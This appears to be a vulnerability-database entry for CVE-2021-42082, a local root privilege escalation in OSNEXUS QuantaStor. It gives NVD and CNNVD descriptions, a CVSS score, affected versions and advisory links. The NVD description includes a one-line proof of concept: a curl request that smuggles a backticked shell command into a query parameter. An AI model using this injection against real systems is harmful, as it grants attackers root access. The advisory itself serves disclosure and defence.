CVE-2021-42082: Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355

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I. Basic Information for CVE-2021-42082

Vulnerability Information

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Vulnerability Title

Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355

Source: NVD (National Vulnerability Database)

Vulnerability Description

Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'

Source: NVD (National Vulnerability Database)

CVSS Information

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Source: NVD (National Vulnerability Database)

Vulnerability Type

特权管理不恰当

Source: NVD (National Vulnerability Database)

Vulnerability Title

OSNEXUS QuantaStor 安全漏洞

Source: CNNVD (China National Vulnerability Database)

Vulnerability Description

OSNEXUS QuantaStor是美国OSNEXUS公司的一个统一的软件定义存储平台。 OSNEXUS QuantaStor 5.12.9之前版本存在安全漏洞，该漏洞源于本地用户可以在root权限下执行脚本。

Source: CNNVD (China National Vulnerability Database)

CVSS Information

N/A

Source: CNNVD (China National Vulnerability Database)

Vulnerability Type

N/A

Source: CNNVD (China National Vulnerability Database)

Affected Products

Vendor	Product	Affected Versions	CPE	Subscribe
OSNEXUS	QuantaStor	0 ~ 6.0.0.355	-

II. Public POCs for CVE-2021-42082

#	POC Description	Source Link	Shenlong Link

AI-Generated POCPremium

No public POC found.

III. Intelligence Information for CVE-2021-42082

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https://www.osnexus.com/products/software-defined-storageproduct
https://csirt.divd.nl/CVE-2021-42082third-party-advisory
https://csirt.divd.nl/DIVD-2021-00020/third-party-advisory
https://www.wbsec.nl/osnexusthird-party-advisory
https://www.divd.nl/DIVD-2021-00020third-party-advisory
https://nvd.nist.gov/vuln/detail/CVE-2021-42082

IV. Related Vulnerabilities

Same product: QuantaStor

Same vendor: OSNEXUS

Same weakness: CWE-269

V. Comments for CVE-2021-42082

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I. Basic Information for CVE-2021-42082

Vulnerability Information

Vulnerability Title

Vulnerability Description

CVSS Information

Vulnerability Type

Vulnerability Title

Vulnerability Description

CVSS Information

Vulnerability Type

Affected Products

II. Public POCs for CVE-2021-42082

III. Intelligence Information for CVE-2021-42082

IV. Related Vulnerabilities

V. Comments for CVE-2021-42082

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